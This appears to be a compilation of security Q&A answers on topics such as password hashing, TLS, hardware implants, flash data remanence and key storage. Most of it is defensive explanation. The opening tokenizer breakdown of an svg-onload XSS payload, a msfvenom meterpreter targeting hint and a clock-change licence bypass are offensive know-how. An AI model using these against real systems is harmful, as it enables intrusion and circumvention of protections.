' ':        switch to "before attribute name state" (8.2.4.32)
'<script':  read attribute name within "attribute name state" (8.2.4.33)
'>':        switch to "after attribute name state" (8.2.4.34) and from there
            to "data state" (8.2.4.1)

In other words as I said shorter before: The tag is svg, the attribute onload has an attribute value of alert(1) and there is another attribute <script.


How much does unknown PBKDF2 iteration count improve security?

It wouldn't add enough security to matter. It just means that the attacker has to compare with the stored hash after each iteration of the PBKFD2 function, rather than once after the (known) count. Since a comparison is much faster than an iteration (for any reasonable underlying hash function), this doesn't slow the attacker significantly.

A slightly subtler issue is that the attacker has to play priority guessing games with where to invest his cycles. If he's run his basic password dictionary through 1,000 iterations and not gotten any hits, should he go to a bigger dictionary, or extend to 2,000 iterations? In practice, he'll probably alternate search expansions until he gets a hit. Note that if his search program is written to support this (I don't know if any are, but it's certainly possible and source code is available), it can save all of the intermediate results after e.g. 1,000 iterations, so when he extends to 2,000 iterations he's only doing the computation for another 1,000 iterations.

As soon as the attacker finds one match (the weakest password in the database), he's immediately going to guess that all the other passwords have the same count, and he's back to the standard attack. (Note that if you vary the counts between accounts, you'd have to store the count along with the hash, which means when he steals the hash database he's going to have the counts too and this is all moot.)

BTW, the general term for things like this (secret elements of the hash algorithm that're the same for all users, and hence don't need to be stored along with the hashes) is "pepper". It's a useful concept (provided you have a way to store the pepper value that isn't just going to get stolen along with the hashes), but this is not a good way to inject the pepper into the hash algorithm.


Msfvenom meterpreter android architectures

The ART runtime/architecture was introduced in android 4.4.

It completely replaced the dalvik runtime in android 5.0.

So maybe you should use this knowledge to help you decide which architecture to target.


Can my school monitor what I'm looking at at home? Sophos is installed

It is technically possible, even with Sophos installed. But unlikely if you were at home and are not having a VPN connection established to your school. But nobody will be able to answer it with a yes or no without doing an analysis of your computer.


fail2ban is not a firewall rule manager. Fail2ban is a piece of software that monitors log files for "failed" attempts to login to a device. If it see too many failed attempts, it will then "ban" the source by adding their IP address to firewall rules to prevent future connections.


My bank makes me enter my password using the mouse. What's up with that?

The graphical entry of passwords is initially an attempt to thwart keyloggers. When such things began to appear, keyloggers naturally evolved (the people who write keyloggers have not stopped developing them; they adapt to new conditions) and modern keyloggers are also mouseloggers which record, for each click, a partial snapshot of the screen (a small area surrounding the click point).

Another reason why some banks use graphical password entry methods is because they do not like Web browsers which remember passwords. This can be for legal technicalities: if the browser remembers the password, then the user is not entering it, and this may make it more difficult for the bank in case of some conflict between the bank and the user. But, in practice, as a security measure, the graphical password backfires: if the user cannot have his browser remember the password, he will use another storage medium, for instance a stick-up note.

A more compelling reason, for a bank, to implement a graphical reason is trust management. The banking system foundation is trust: a bank is an entity to which you give your money, on the belief that it will give it back to you whenever you want. But since the bank uses that money (to lend it to other people), it intrinsically relies on the idea that not all its customers will want their money back simultaneously (that would be a bank run). As long as all the customers share that idea, the bank lives. That's the reason why bank buildings are always impressive (in the 19th century, they were all full of stone pillars and iron and marble, with extremely "massive" architecture): this is a conscious display of stability and robustness, so that you think of the bank in those terms.

In the age of the Internet, the graphical password entry is a stone pillar: it establishes a firm psychological distance between the bank and the less serious sites. It would not look good if the online bank Web site was too similar to the site you use to order a pizza. When they log into their bank account, the customers must have a feeling that they enter a "high security" zone in which their safety is taken seriously. The "graphical password entry", like all things graphical, is a nice gimmick for that (humans are visual animals, they react strongly to what they see). The Web site of my bank does not have a graphical password entry, but it takes care to open a popup window with a picture of a padlock, for the same reasons.


Role of derived keys in EAP-PSK in WPA-2

What you have to understand is that EAP is less of a protocol, and more of a framework.  The terminology from this answer is valid because of the following quote from the IEEE 802.11i wiki page:

  To derive the PMK from the PSK, the PSK is put through PBKDF2-SHA1 as
  the cryptographic hash function. If an 802.1X EAP exchange was carried
  out, the PMK is derived from the EAP parameters provided by the
  authentication server.

So when EAP-PSK is configured a four-way handshake occurs with a client to essentially establish authentication to the AP.  The result of that authentication is essentially the PMK.  This link explains the difference between using WPA2-PSK and WPA2-PEAP.  I know it's not exactly the same, but you can see that a separate exchange occurs before the WPA2 four-way handshake.

The entire EAP-PSK process outlined in RFC4764 is only used to establish authentication and secure channels to relay the PMK to the client. Which I believe is the MSK/EMSK since they're not mentioned at all in the RFC after derivation.  Then that's used as the basis for the rest of WPA2 setup.

I agree this is confusing, and wireless technology is really just black magic with dragons taking your packets to places.

Now the libtins library uses the PMK and PTK terminology.  Their WPA2 session keys are derived in src/crypto.cpp.


Recovery of EEPROM data after bulk erase operation

summary
If you decap the dies, you can.  The pads exist but are not bonded but available.  The reason that you can get the information is that the timers that are used to inject and tunnel the floating gates do not push the data hard against the voltage rails.  If the hardware supported a "tunneling on forever" type of control word, you could like make it so that it would like make the data extraction more difficult.
short answer
I happen to have an IC from a commercially available 14nm SOI, FinFET process from 2012 that had a NOR FLASH bank which I know made it into prime-time.  These ICs were development ICs before the process goes prime-time, and I used this process to make asynchronous FPGAs.  This device has an array of the 64KiB "pages", where each page had a timer that is used to tunnel the device, which makes the floating-node go positive, and injection through a nFET to make the node go negative.  Please see my link on analog floating gates, as it is similar to digital FLASH.  The only difference is that there's thresholding to be a "1" or a "0" on the readout circuitry.
I will write this from the reference of the floating gate device.  The nodes are made negative by the high field across the nFET.  The details of this are in chapter 2 of Jennifer Hasler's dissertation under Carver Mead.  I did not go into FN tunneling details in the analog floating gate post.  If you read into the boundary conditions, as you make a node more positive or negative, the injection or tunneling efficiency become lower.  Due to the fact that the injection and tunnel are controlled by timers, a "1" or "0" is not really a "1" or "0" that corresponds to a "VDD" or a "GND", but some voltage that is adequate to be sure you are positive or negative enough.  On this process, the digital voltage is 800mV, and a voltage below 300mV would be the "off" state, and above 600mV would be the "on" state.  To understand why this is, you need to consider the physics, but fundamentally, it's easier to tunnel a transistor than inject it.
Here's what tunneling looks like (this is the short, short version)

If you have a barrier, and you make it electrically thin enough, there is a probability that the electron will be able to penetrate the barrier.  This is "tunneling", and it's as a ball through a wall, and it's a quantum effect  In the two images, I give a zero voltage difference, where the barrier symmetric. The SiO2 barrier is 9.2eV in this process, and the oxide thickness of the floating-gate is 180angstrom (I measured this).  As you change the voltage between the floating-node and the tunneling junction, you pull electrons off the node with the higher potential.  In the image, the electrons at higher states will fall off first.  You can just consider it a pile of electrons.  One of the issues is that you need more voltage to take off more electrons and the node becomes more positive.  As an example, if the node is set to be 1V, and I tunnel at 11V, there's a 10V difference.  If I pull off enough charge for to have 2V on the floating-node, you have a 9V difference, and the barrier is less thin and it takes longer to tunnel.
Now to the crux of it, and I can elaborate if someone wants me to.  The caps seem to be 2fF in depletion, which means that's their maximum capacitance, by my measurement.   This means that there's 1248 electrons per volt.  Due to the debugging frame, I can set the gate voltage and measure the current through the drain of the fg-nFETs, and the lowest that I can see is 20fA.  100 electrons changes the gate voltage by 80mV which is about 1 decade of current in subthreshold (diffusion current).  I found that by writing 0x5A, for a b'01011010, I could always read back a current that indicated the last state.  This is due to the fact that the injection/tunneling control circuits are designed to be fast.  There's not a way for me to tunnel without a write, due to how the system is setup, and even if I made the nodes positive, I could always read out the previous states.
For this reason, I would say that an agressive actor would be able to extract FLASH data.  You need a semiconductor test lab, and access to the test pads, but there's nothing to stop you.  My recommendation would be to have a control word to tunnel the nFETs for a long time to make the nodes as positive as possible, because they'd eventually all settle at the same voltage.  Also, they will be in drift (above threshold) transport, and it would be more difficult to determine the previous state, and the differences will fall into noise.


Obtain credentials by spoofing WPA/WPA2 Enterprise network?

This is one small part of a much larger answer to this question.....

One method of protecting against rogue access point is the use of rogue mitigation.  There are multiple systems available which will allow a company to conduct scanning and deauthing of rogue wireless nodes.  Some of these systems will actually allow you to upload a trusted device list (a company asset list) and block according to that list.  Some are also able to correlate wired data with wireless transmissions to determine if the rogue AP is actually connected to your network or not.

For instance, if you have a worker's laptop and it connects to a spoofed corporate SSID, these sensors would be able to determine that a trusted asset is connecting to an untrusted device using a trusted network name (dona via mac addresses).

The fun part, if you see the device on your network, is using the same system to triangulate the location of the rogue device to track it down and see where it is plugged in to your network.

These methods also allow you to stay neutral towards any device that is not one of your company assets (which helps greatly from the legal side of things).  You would only be targeting systems which are owned by your company or are connected to creating unauthorized connections to your corporate network.


Where to find a fake hierarchy for a honeypot for double-dot/path traversal attacks?

You could create a url rewrite rule mapping urls matching ../etc/* (or some other expression) to somevirtualdirectory/* and place whatever you like in somevirtualdirectory to be served.

Damn Small Linux would have your basic minimal *nix folder hierarchy on live CD that you could copy over and lock down (remove execute permissions and such).


python time since epoch hacking system variable

First of all

  by invoking time.time() function from python and comparing it to the hashed license expiry date. if the time.time() returns anything after the expiry date than the software throws a license expired error.

You cannot compare against a hash and tell if it is after or before. You can only tell if it is on the dot.

Lets see MD5

value 1    has MD5 C4CA4238A0B923820DCC509A6F75849B

value 1000 has MD5 A9B7BA70783B617E9998DC4DD82EB3C5

1 > 1000 returns False but

"C4CA4238A0B923820DCC509A6F75849B" > "A9B7BA70783B617E9998DC4DD82EB3C5" returns True

So no you cannot use the hash but you can use the time.time() value itself to compare since time.time() simply returns the seconds after epoch

  The concern I have is whether it's possible for someone to change some system variables and get time.time() function return a different difference since epoch than the real actual one

Yes very easily. You can simply change your system Clock and it will never expire.

There are many resources on how to do that but i suppose what you want is how to counteract this. You can check out codeproject's article on this


Are the problems with Window's CSPRNG still an issue on modern Windows?

From the Wikipedia page:

  A 2007 paper from Hebrew University suggested security problems in the Windows 2000 implementation of CryptGenRandom (assuming the attacker has control of the machine). Microsoft later acknowledged that the same problems exist in Windows XP, but not in Vista. Microsoft released a fix for the bug with Windows XP Service Pack 3 in mid-2008.

So the answer would be: no, the described issues are no longer present in recent versions of Windows.

To be fair, the said issues were not critically serious to begin with. They were more indicative of suboptimal design; they could be turned into actual attacks only in situations where the attacker already has extensive power (he can read the victim's memory space...). Apparently, Microsoft tried to argue with the article authors (so it says there) but finally backed down, when they realized that "fixing" the PRNG was cheaper than arguing about it, and the admit-and-patch process could even be given a positive spin from a Public Relations point of view.


What are good ways to educate about IT security in a company?

What has worked on several occasions for me is to stick the following chart in front of management:

Run down the list of threats (left column) and ask if they believe if any of those type people described may harm the business.

If so, then you may have won a battle.  Now you can describe what is needed to address each of those threats.

@atdre had a great comment about this chart on a different question:

  I don't like this because it doesn't convey the power of collusion or conspiracy. The underground community and underground economy puts all of these guys in the same room together and gives them tools to trade. – atdre`

So you may want to extend the list of threats to include communities.


Can your ISP tell what google account searched what? And can they share this information?

Google uses HTTPS, which means traffic to / from Google is encrypted on transit.

Thanks to that encryption, your ISP can't read anything in the traffic: neither the search terms nor the Google account.


Is it possible to secretly monitor/backdoor hardware?

Yes, if an attacker has physical access to your computer it is no longer your computer. While it's theoretically possible to implement spying directly in silicon on a modern CPU, a modern x86-based CPU is extremely complicated. An attacker would be better off using a peripheral device that uses something like USB which exposes certain interrupts in an easily-accessible port on the back of every machine.

Such devices already exist:

The USB Rubber Ducky

(source: shopify.com)

  Nearly every computer including desktops, laptops, tablets and smartphones take input from Humans via Keyboards. It's why there's a specification with the ubiquitous USB standard known as HID - or Human Interface Device. Simply put, any USB device claiming to be a Keyboard HID will be automatically detected and accepted by most modern operating systems. Whether it be a Windows, Mac, Linux or Android device the Keyboard is King.

The Lan Turtle

(source: shopify.com)

  The LAN Turtle is packed with features for remote access, man-in-the-middle and network recon. Everything the LAN Turtle does is a module, and you can download new ones right to the device from the module marketplace. Keen on writing a module? Code one in bash, python, or php with a dead simple API.

These are only a few examples of malicious hardware, there are countless more in existence. As a bonus, check out the BadUSB research. This project entails using an ordinary USB 2.0 flash drive and turning it into a malicious device to attack any computer it's plugged in to.

Another possible attack vector is the PCI express interface. Many more interrupts are available to that interface, however compromising a machine's PCIe bus entails opening it and inserting a card instead of plugging in an innocuous little flash drive.

While these devices you see here are specifically designed to be used by people to attack other people, it is well within the realm of possibilities for a state actor to approach a tech manufacturer to insert backdoors into their hardware. For example, a government agency could approach a sound card manufacturer to implement an interface on their PCIe chipset to allow remote interaction with the target device. This includes things like directly dumping memory chunks and all kinds of nasty things.

Furthermore, even if a device is not intentionally designed with malicious intention, a device with an insecure firmware updating procedure can become a victim to malware (similar issue to the BadUSB exploit). A piece of malware can exploit an insecure firmware updating process to turn a specific peripheral into an attacker on the inside. See this Defcon talk for more information.


Like @user2313067 pointed, this problem is happening probably because the clock of your server is with wrong time.

Google Authenticator is an implementation of OTP (One-time password) and it is based on a private seed and on time to check if the code you are entering is correct.


Is this algorithm really end to end encrypted and secure?

There's no authentication in what you've documented. Alice cannot tell if the key exchange is taking place with Bob, your server acting maliciously, or with some other MiTM. So steps like:

  Alice generates a public/private key pair and send its public key to Bob.

are more accurately described as "Alice sends her public key to someone, hoping that it is actually Bob."

This is why SSL uses certificates and CAs. They allow authentication without previous communication. You could also support out-of-band transmission of authentication information. SSH relies on this (it frequently ends up being trust first message and authenticate subsequent ones). Generally, establishing security requires an out-of-band communication (eg: passing bar codes between devices) or trusting that the server is not malicious. You don't seem willing to trust the server, so you're going to have some problems without an out-of-band key exchange.

There are also lots of side channel attacks that may become applicable. For example, error handling can sometimes be used as an oracle attack.


That is not possible. The only way you can detect if someone setup a router with NAT function is to analyze the hardware addresses (MAC) of the endpoints. But the hardware address can be changed so that not very reliable solution.

Another way to detect WiFi networks is by physically move around in the area of the network and scan for WiFi networks with your phone or computer.

Why do you want to forbid routers? I can understand that you want to forbid WiFi access points, but why wired routers?


Are there currently any standards for Homomorphic encryption?

There's an ISO publication currently under development called "Information technology security techniques -- Encryption algorithms -- Part 6: Homomorphic encryption". It is listed under ISO/IEC DIS 18033-6, there is a table of contents available here.

NIST has a group which researches cryptographic technology and in their research areas they list privacy-enhancing cryptography and there they say:

  The Computer Security Division's (CSD) Cryptographic Technology Group
  (CTG) is also following the progress of emerging technologies, such as
  fully homomorphic encryption (FHE). FHE could potentially solve a
  large class of problems by allowing computation on encrypted data
  without decryption. CTG has also shown that the NIST Randomness Beacon
  (discussed below) can be used as a primitive in secure multi-party
  computation, such as sealed-bid online auctions, in which losing bids
  are never opened.

ANSI has nothing so far on homomorphic encryption, neither has the German BSI.

There are no other standards available as far as I know but there is a lot of research going into FHE. What can be said: FHE has not found its way into any major standard yet and if you try to run a standardized production environment you probably should not try to implement FHE or use FHE.


It's not paranoia if you've conducted a proper analysis and have identified a likelihood that they are out to get you in excess of your acceptable risk threshold.

Running your own server is a fairly reasonable control for the risk that the admin of your mail server reads your mail or is subpoenaed for their backups. You must weigh it against the cost and the risk that you introduce new vulnerabilities.

For example, Google is certainly going to have better high availability solutions available to them than you do. They have better paid mail admins and security officers and pen testers. The physical security at their data centres is better.

Also, even if you remove this vulnerability, there are many, many others you haven't addressed and may not be able to. You've already identified the fact that non-encrypted emails can easily be read in transit. One you've missed (and everyone misses this one) is that it doesn't matter how secure your end of a mail communication is if the other end is insecure. If you send a mail to my gmail account, it's going to get stored on gmail's servers whatever you do.

In short, unless you use application level encryption, general email is inherently insecure; you should accept that and if you have sensitive material to send, encrypt it or don't use email for it.


What tools one can use to detect a malicious activity on a computer, aside from antivirus programs?

There is no perfect security and noone can guarantee that a virus will never go through whatever defence you set up. Though there are some measures that can make it less likely:

A firewall

monitor for suspicious network activity

Behavior-based detection

Just like firewall can detect suspicious network activity modern antiviruses can monitor suspicious activity within your system. No matter how new the virus is it needs to autorun somehow every time when computer starts. Usually applications add themselves to autorun during installation or when you deliberately ask them to do so. So monitoring autorun is a good way to catch a virus and is unlikely to bother you with false positives. This is just one example, the behaviour-based security could monitor hundreds of potential harmful activities. Among free antiviruses i know COMODO Antivirus provides this type of protection (its called HIPS in it). Many others may do as well (check AVG, Avast, Avira, etc) though I am not sure about them. Though with more aggressive detection comes more false positives. So don's get overenthusiastic with high settings.

Heuristics

Signature-based detection tries to find specific viruses that have already been caught and analysed. Heuristic analysis is searching for specific commands within application's code that are likely to be harmful. While behaviour-based detection analyses what application does, the heuristic analysis analyses what it could do.

Sandboxing

When you have a clean PC the only way a virus can infect it is from some new file that you downloaded and lauched. If you care a lot about staying secure you could launch unsafe (downloaded from internet, etc.) applications in a sandbox (isolated environment that from which the virus can not escape and harm your real OS). Even if you run a virus within sandbox it will be killed without a trace when the sandbox is closed. Advanced sandboxes allow you to "freeze" it's state when closing instead of just erasing everything so that you can continue the work when opening a sandbox next time. It is still perfectly safe.

Though some very advanced viruses might escape a sandbox using a mistake in it's code there is no reason to worry about it. For this to happen the virus should be targeting the specific sandbox application you are using (and probably the same version) and it must be vulnerable in the first place. Also creating such a virus would require expert-level knowledge and a ton of work. It's just not worth the trouble. Viruses like this are usually created for specific targets (i mean by intelligence agencies, etc.) and not spread in public. Because getting it caught by antivirus companies would destroy all the hard work put into creating this monster.

An example of free sandbox is "sandboxie". It has a nag screen after trial expired but still allows you to use it forever. Also many modern antivirus solutions have built-in sandbox. Once again COMODO antivirus has it and many others are likely to have it.

P. S.

When you see an unknown process with suspicious network activity in background it is not necessarily a virus. It could be background update service, license check service, etc. Just google the name of the process and you may find out what it is. Also when you are concerned about specific file you could use online virus scanning services that would check it with every antivirus in the world without having to install anything. It would also help the antivirus companies to roll out an update quickly if you actually find a new virus - they do check files uploaded to such services (not all of them though. It requires the owner of the service to cooperate).

P. P. S.

As was said in the beginning you can only increase your security but never reach 100%. And with more security comes more bothersome false positives and more performance drop. At some point antivirus does more harm then the virus it might catch. One of the targets for risk management is to make sure that maintaining your security is not more taxing than having it breached sometimes.


Is it possible to decrypt a SSL/TLS session without doing a MITM-attack?

The short answer is "no". The longer answer is that SSL is specifically designed to make this impossible. If this was possible, SSL would be useless for its primary intended purpose -- to secure things like credit card numbers sent to secure web sites.

The short (and technically incorrect) answer for how SSL does this is as follows:

The server presents a certificate to the client.
The client confirms that the certificate was signed by an organization the client trusts and that this organization certifies that the certificate belongs to the server the client wants to reach.
The client generates a random key, encrypts it with the public key in the certificate, and sends it to the server.
The server decrypts the key and uses the shared secret the server and client now have to secure further communications. (It does this in a somewhat complex way though. Again, this is an oversimplified explanation.)

Decrypting the data would require at least recovering the shared secret generated at step 3. But how would you do that? It was only sent over the wire encrypted, and you don't have the server's private key.


How to protect client server app if both: client and server - located on client side?

This is always a tricky question, and from an attackers view, it is always possible to reverse engineer your "backend", if you provide it to run locally at the attackers server.
You could use some obfuscators and anti debugging frameworks (usually one doesn't implement this from scratch) to make it more difficult to get the data out of the app, however it doesn't make successfull attacks impossible but depending on the value of your "backend" logic it may be enough protection. But using function hooking techniques it may not even be necessary to reverse engineer your code.
If your backend is of high value, there won't be a suitable solution where you run it in an untrusted environment.


Can data be tampered with after expert clones a drive?

in all practicality, producing the photograph of the acquisition hash and showing the new and old hashes match will satisfy almost everyone that the drive hasn't been tampered with.

However...

The most accurate answer is that, depending on what hash algorithms the investigators used, they may not be able to prove the data was unchanged. If the hash calculated was only MD5, an attacker (the investigators in this case) could theoretically alter the drive to make the new data result in a hash collision with the old data.

To clarify, if an investigator wanted to tamper with the contents of the drive, they could make two changes: the intended malicious change, as well as a second set of specially crafted changes somewhere else in the image (i.e. unallocated space), resulting in the "new" drive's hash matching the old hash. This is a known weakness in the MD5 algorithm.

See https://en.wikipedia.org/wiki/MD5#Collision_vulnerabilities

If the hashes used were SHA2 family, this vulnerability is only vaguely theoretically possible.

I should note I'm assuming the clone is either being written to a new HDD directly or a DD image file. An E01 image would be virtually impossible to alter this way.


What exactly does "Nation-State" code look like?

what indicators point to the malicious code being nation-state and not
  organized crime or small hacking groups (Anonymous, LOLSEC, other
  unassociated groups)?

In this specific case, the people who know the indicators, aren't telling (yet).

There are a number of indicators that may come into play, such as:

Provenance, or, where stuff comes from -

There has been significant work done to tie together actors and campaigns by analyzing the use of unreleased code.  For example:

  In 2015 Kaspersky's research findings on the Equation Group noted that
  its loader, "Grayfish", had similarities to a previously discovered
  loader "Gauss" from another attack series, and separately noted that
  the Equation Group used two zero-day attacks later used in Stuxnet;
  the researchers concluded that "the similar type of usage of both
  exploits together in different computer worms, at around the same
  time, indicates that the EQUATION group and the Stuxnet developers are
  either the same or working closely together". (Wikipedia)

If the Juniper attack shares certain characteristics with other known APT attacks, then it's likely to be an APT attack.  Unfortunately - again - the only people who'd actually know what those characteristics are, at this point, are the incident responders, and they're not talking.

Purpose, or, what can be done with the stuff -

A backdoor on a firewall is brilliant and useful for any attacker.  Weakening encryption in a way that can benefit eavesdroppers without requiring endpoint access more strongly benefits APT groups, because they are more likely to have access to ISP-level network captures than, say, Anonymous.

In your comment above you call that "subjective and circumstantial", but it's really not.  The described vulnerability has the advantage of being largely undetectable (compared to endpoint compromise, and assuming Detachment 2702 is working properly) and the disadvantage of requiring advantageous network access (which nation-states have been working at since long before there were computers).

Patterns, or, crumbs that don't get cleaned up -

There have been various APT groups whose work was attributed based on strings or commonalities - an email address, a command and control server IP, a source code path name that didn't get stripped from compiled objects.  You can bet that whatever got left at Juniper is being gone over with a fine toothed comb, by people who have done the same at dozens or hundreds of other victims.  If there are crumbs to be found, they will be found.

It could be any of these, or all, or none.  No way to tell until someone writes a paper or releases details which allow us to pin it down.

Update 20151228 - You may want to read "APT28 Under the Scope", which aims to describe a particular APT actor.  Notice some of the Patterns they used - they mapped the compile time of the attack tools, to determine which timezone the actors came from.  They also found a hardcoded path to a debug file where one of the directories in the path was the Russian word for 'Users'.  I'm not suggesting APT28 is the crowd who hit Juniper, it's just interesting to see the analysis process and the level of minutia that can be used to try and attribute responsibility for an attack.


When choosing a numeric PIN, does it help or hurt to make each digit unique?

The thing is, with a 4 digit pin, entropy isn't really important.  What's important it the lockout and the psychology of the attacker.

The keyspace is so small that any automated attack (without lockout) would exhaust it almost instantly.

What you're worried about is an attacker guessing the pin before the account locks.  So assuming a sane lockout (say 3-5 incorrect attempts), you want your PIN to be outside the 3-5 most likely to be chosen PINs.

Personally I'd avoid any 4 digit repeating sequence and anything starting 19XX which would be a year of birth.

Now smart alecs will say "ahh but if you do that the attackers will know not to try those", but that only applies if a) the majority of the user population follow that advice (hint, they probably won't) and b) the attackers know that the user population has followed that advice.

Some great analysis of this (link courtesy of @codesincahaos)

Edit 2 - For a far more mathematical take on this I'd recommend reading @diagprov's answer


Why would you maintain multiple session ID's in one application?

Depends.

It is very common to ensure the session cookie integrity. One way is to create a very random (reasonable long) identifier, another way is to sign the session cookie. It is even a MUST with the stateless systems, where the cookie passes the whole user context (very popular today).

So - you can have a cookie containing its signature within (such as JWT token) or another cookie containing MAC of the session cookie. If you fiddle with one of them, the session information becomes invalid.

It may have different reasons as well, such as you've changed the validity information, site-location information, ...


Intercepting business calls and forwarding them back to me

It took me a while to understand this question. I believe that the problem is "Dialing the number registered to Company A connects the caller to Company B".

Ultimately, this is an issue that can be resolved with systematic troubleshooting.

1) The caller is making a mistake (dialing the wrong number). Some phone exchange systems may expect particular prefixes or suffixes that require the caller to modify the number they input.

2) The phone provider the caller is using is misdirecting the call somehow (deliberate or accidental). You can rule this out by repeating the call from a different provider (use a difference cell phone company, or a pay phone).

3) Company B does actually own the number being called; the error is in the caller thinking the number belongs to Company A.

I very much doubt that any "call intercept" is being performed here. It's difficult to do unless you have significant access to the telecommunications network - it's the sort of thing that we would expect only government agencies to be capable of doing. Tampering with the phone system is usually illegal in any country, and doing so in this way would immediately lead investigators to their prime suspect.


What are the negative aspects of creating fake security footprints?

It's a lot of work. Not only that, but it's a lot of work that your (legitimate) users will never see or benefit from. Most people would be willing to trade off the nebulous risk of deterring a small subset of hackers (realize that APT hackers, in particular, wouldn't be dissuaded and might even find an extra way into your system if you do something wrong setting up your fake services) in exchange for developing real features that will attract real (paying) customers.

If you've convinced yourself that you're a real target, sure, set up some honeypots (at least then you can invest in measuring how many attempts are being made on your "misdirection servers"). Security is already expensive, and you're talking about adding extra cost, so make sure it's worth it.


How can I protect my privacy against Facebook tracking my web activity?

To my knowledge installing the browser add-on called uBlock Origin (or something similar) would suffice, just remember to properly configure it to (also) include anti-tracking lists.

Aside from anti-tracking, this add-on is generally known to block ads. (Ad providers, to my knowledge, also have a hard-on for tracking people.)

I generally also block addresses related to social media as I don't use any myself (this can be done at router level, firewall level, or as custom rules to uBlock Origin).

It's probably also a good idea to clear cookies after installation to ensure you got rid of tracking cookies (note that this will log you out of pretty much all sites).


How to safely store sensitive data like a social security number?

What you're looking for is deterministic encryption: that the same value encrypted twice gives the same output.  Given deterministic encryption with a key K, an attacker would need the key to determine which SSN maps to which encrypted value.  You can still perform searches on the deterministically encrypted data, but only equivalency comparisons (==, !=).

Examples of deterministic crypto that would work:

Block ciphers in ECB mode, if the data is <1 block long
Block ciphers in CBC mode, with a static IV.
Block ciphers in CBC mode with an IV derived from the plaintext.  (Note that you don't want to store the IV then, so decryption without the plaintext is thus impossible, so this is a search-only option.)

What won't work:

CTR Mode with a static IV (an attacker can then use multiple ciphertexts to recover the keystream & plaintexts)
CBC Mode with a random IV (can't search)
Any stream cipher (same as CTR mode)

Note that, in all cases, you are giving up ciphertext indistinguishability, but that's a core requirement of being able to search on the ciphertexts.

You do need a mechanism to share the key with other systems that need access to the plaintext, but an attacker who gains access to a database backup, SQL injection, or any other attack that gives access only to the database won't be able to discern the plaintexts.

PKI is not useful here, as you point out, as having the public key allows to enumerate the values and recover them, if you're using a deterministic PKI cryptosystem (plain, unpadded, RSA, for example).  Using a non-deterministic PKI (padded RSA) will not allow you to search on the ciphertexts.

I would review whether you really need to encrypt small, easily brute forced plaintexts.  What is your threat model?  Can you protect against these threats in other ways?


How to decrypt SSL traffic with a packet sniffer when I have the private key?

Ssldump is supposed to be able to do that, but it appears to be unmaintained (in the source archive of the latest version, the date of last modification of all files are in 2002 or before) so it is quite possible that it won't support newer SSL/TLS; actually, it is highly implausible that a software from 2002 could process the new encryption formats defined in TLS 1.2 (AES/GCM). TLS 1.1 was published in 2006, and TLS 1.2 in 2008.

OpenSSL is a library that implements the protocol, but is not meant for analysing a recorded session.

You may have better chance with Wireshark, which has ample documentation on how to use it to decrypt recorded sessions.

There is an important parameter to mind: decryption of a passively recorded session (with a copy of the server private key) works only if the key exchange was of type RSA or static DH; with "DHE" and "ECDHE" cipher suites, you won't be able to decrypt such a session, even with knowledge of the server private key. In that case, you will need either the negotiated "master secret", or to use the server private key to actively intercept the connection (in a Man-in-the-Middle setup).


What kind of encryption is generally used for api keys?

I'm wondering how companies like Amazon generate a key and secret that are 20 and 40 characters respectively?

Random string generation. They just need to be sufficiently difficult to guess, nothing more complicated than that.


HTTPS Certificate mismatch alert before redirection

When a security warning is displayed, the user should treat it as a full-scale security emergency and trigger damage containment and recovery procedures. It is well-known that users do not do that; instead, they click OK or Cancel (whichever is nearest to the current mouse pointer position).

In the situation you describe, the user is trying to contact an inexistent site: there is no such thing as an SSL-enabled site2.com. Because of a quirk of HTTPS, the server cannot return the correct answer (namely "connection refused") and instead initiates a SSL connection with the certificate for site1.com (hence the warning). Once the SSL handshake is done, the browser sends the actual URL (which contains site2.com), the server becomes aware of the problem, and courteously offers a redirection to the non-HTTPS site.

If the client browser is recent enough, it may use the Server Name Indication extension, giving an advanced indication of the server name that the browser tries to reach (i.e. site2.com), which would allow the server to abort the SSL layer early on, avoiding the security warning popup on the client (the server would still have to be configured to implement that behaviour, though).


Are there any security related disadvantages if multiple ssh-agents are running?

It is about the attack surface.

Once there is only one you have a control of, the single instance of your encoded private key is hanging somewhere in the main memory. Once you have more of them running, you will have your private key copied all over the main memory and it is much easier to find it for the possible attacker (using different vulnerabilities).

Also if you have more agents, you have very hard time to close them and wipe the keys, if you want to lock your computer and leave it, or just suspend.


There are two issues here (just like in your question). I'm going to explore both of them. First, the Conceptual Problem and then the Practical Implementation.

Conceptual Problem

Here's the deal, something that everyone should just know, but I've found is really hard for people to accept.

We cannot protect a computer from itself.

What I mean is that when trying to keep something secret on a computer, especially on the HDD, but really, also in memory, that thing will not really be secret. We can build very complex OSes and data silos, however, in the end, there's a Trusted Computing Base (TCB) and then there's everything else.

In this case, you've got a secret (Message Authentication Code Key or MAC key) or as the other post/commenters have suggested you'll have to use an asymmetric Pub/Priv Key. That key material is just information and you've got to put it somewhere and that location has to be accessible to programs running on the computer without human intervention. That means either it will be in the clear or it will be encrypted with some other Key (password from a human or yet another crypto key). You don't want human intervention, which means that the password or the second crypto key needs to be stored.

Now, we are in a recursive problem and there's no base case!  Why? Because we cannot make a computer keep a secret from itself. At least, not if it has to use that secret, and your program needs to do just that. So, in the end, your key material or that encrypted key plus the second key used to encrypt it will be available to at least one process on the computer, and therefore, be copyable (as information) to any other device on the planet. Security blown.

Really, you might as well keep the key in the clear (unencrypted), in an O/S protected file, harden your servers to attack and monitor the network and servers for problems. Of course, people freak out when you suggest keep it in the clear b/c "OMG, you didn't ENCRYPT it?!" Ok, fine, so protect it with encryption, but don't lie to yourself about how safe it truly is. Laws to keep credit card data protected save Marketing Face, they don't really protect anything. The most important part of the laws are customer notification upon break in and theft of personal data. That is important.

In the end, someone could find a way to steal your MAC Key and whatever else you use to identify the remote server, and therefore, spoof the identity of the remote server. The best you can do is to use the crypto algorithms as they've been designed and for the purposes they were intended and then protect and monitor.

Bruce Schneier discusses this.  (1) Proper algorithm selection and implementation. (2) Proper System configuration. (3) Active Monitoring.

Also, as an aside I recall reading a research paper that showed how to pick keys off a hard disk by scanning and looking for highly entropic regions of short (key) length. The idea is that most stored computer data is of regular form. Sections of data that don't have patterns (appear random) are most likely encrypted data or keys. Encrypted data will tend to be grouped. Keys will tend to be isolated. INOW, stored key data on a hard disk actually jumps out at you if you're looking for it in the right way.

Good luck with that.

Practical Implementation

Your improper use of a crypto algorithm has lowered your security resulting in an attack more likely than the theft of your machine key from your machine.

You're using MAC Keys as a means of identification. Please note that Eve the Eavesdropper could discover your MAC key by watching one exchange and then off line attacking the message+MAC to reveal the key. This could be an expensive attack; however, depending upon the system and the data, it could be worth the cost.

